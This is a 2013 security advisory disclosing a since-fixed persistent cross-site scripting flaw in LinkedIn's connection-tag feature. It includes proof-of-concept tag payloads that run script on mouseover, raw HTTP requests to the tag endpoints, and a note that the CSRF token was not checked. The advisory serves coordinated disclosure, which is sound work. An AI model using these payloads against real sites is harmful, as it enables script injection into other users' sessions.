Persistent Cross-Site Scripting vulnerability

Persistent Cross-Site Scripting vulnerability

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INTERNET SECURITY AUDITORS ALERT 2013-005
- Original release date: 3rd March 2013
- Last revised:  10th March 2013
- Discovered by: Eduardo Garcia Melia
- Severity: 5.2/10 (CVSS Base Scored)
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I. VULNERABILITY
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LinkedIn social network is affected by Persistent Cross-Site Scripting vulnerability. 
 
II. BACKGROUND
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LinkedIn is a social networking service and website operates the world's largest professional network on the Internet with more than 187 million members in over 200 countries and territories.
 
More Information: http://press.linkedin.com/about
 
III. DESCRIPTION
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LinkedIn social network is affected by Persistent Cross-Site Scripting vulnerability. The persistent (or stored) XSS vulnerability is a more devastating variant of a cross-site scripting flaw: it occurs when the data provided by the attacker is saved by the server, and then permanently displayed on "normal" pages returned to othe users in the course of regular browsing, without proper HTML escaping. The affectedresource is

http://www.linkedin.com/people/connections when you create new tags.
 
IV. PROOF OF CONCEPT
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=========================
First Option
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You can go to LinkedIn Contacts -> Connections -> Manage. After, on the "Add New Tag" field, you can put these tags, for example:

    + <IFRAME SRC=# onmouseover="alert('XSS')">
    + <IMG SRC=# onmouseover="alert('XSS')">
    + <IMG onmouseover="alert('XSS')">

Finally, you should pulse "Add New Tag" button, and then show you the injection.

=========================
Second Option
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You can go to LinkedIn Contacts -> Connections -> All Connections and then select one contact.

After, on the right panel, you have a "Tags:" label, and you should pulse "Edit tags". Then you can put this tags, for example:

    + <IFRAME SRC=# onmouseover="alert('XSS')">
    + <IMG onmouseover="alert('XSS')">

Finally, you should pulse "+" button, and then show you the injection.

=========================
REQUESTS
=========================
First, create <IFRAME SRC=# onmouseover="alert('XSS')">  Tag:

REQUEST 1:

    POST /people/create-tag?csrfToken=TOKEN_CSRF HTTP/1.1
    Host: www.linkedin.com
    Origin: http://www.linkedin.com
    X-Requested-With: XMLHttpRequest
    X-IsAJAXForm: 1
    Cookie: XXXX
   
   
&tagContext=undefined&tagName=%3CIFRAME%20SRC%3D%23%20onmouseover%3D%22alert('XSS')%22%3E

RESPONSE 1:

    HTTP/1.1 200 OK
    Server: Apache-Coyote/1.1
    Content-Type: application/json;charset=UTF-8
    Content-Language: en-US
    Date: Sun, 03 Mar 2013 16:49:14 GMT
    X-FS-TXN-ID: 2b654458ea50
    X-FS-UUID: e0463ca154f7e712703c4a69cb2a0000
    X-LI-UUID: 4EY8oVT35xJwPEppyyoAAA==
    Age: 1
    X-Content-Type-Options: nosniff
    X-XSS-Protection: 0

    {"content":"113275897","status":"ok"}

Second, make request for show you the tags name's:

    REQUEST 2:
    POST /people/fetch-tags?csrfToken=ajax%3A7023500174643473361 HTTP/1.1
    Host: www.linkedin.com
    Origin: http://www.linkedin.com
    X-Requested-With: XMLHttpRequest
    User-Agent: MSIE 9.0
    X-IsAJAXForm: 1
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Accept: */*
    Referer: http://www.linkedin.com/people/connections
    Cookie: XXX

    &tagContext=conn_detail_panel&memIds=M-220814631
   
Or without the csrfToken, because not verify that the csrfToken value matches with cookie session token.

  

V. BUSINESS IMPACT
------------------------
If a malicious user will find a way to exploit this vulnerability could make other users are perform actions that he wanted in the application, since add them to yournetwork, to erase the profile, because the csrf token is useless, sincebased on theuser's session.
 
VI. SYSTEMS AFFECTED
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The vulnerability affects the LinkedIn network:
http://www.linkedin.com
https://touch.www.linkedin.com
 
VII. SOLUTION
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Linkedin applied a new contact management system.
 
VIII. REFERENCES
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http://www.linkedin.com
http://www.isecauditors.com
http://en.wikipedia.org/wiki/Cross-site_scripting#Persistent
 
IX. CREDITS
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These vulnerabilities have been discovered by
Eduardo Garcia Melia (egarcia (at) isecauditors (dot) com).
 
X. REVISION HISTORY
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March 03, 2013: Initial release
 
XI. DISCLOSURE TIMELINE
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March     03, 2013: Vulnerability acquired by Internet Security Auditors
March     10, 2013: Send to Sec Team.
July      4,  2013: Initial vendor notification sent
July      9,  2013: Vendor implemented a fix
November  11, 2013: Disclosure

 
XII. LEGAL NOTICES
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The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.


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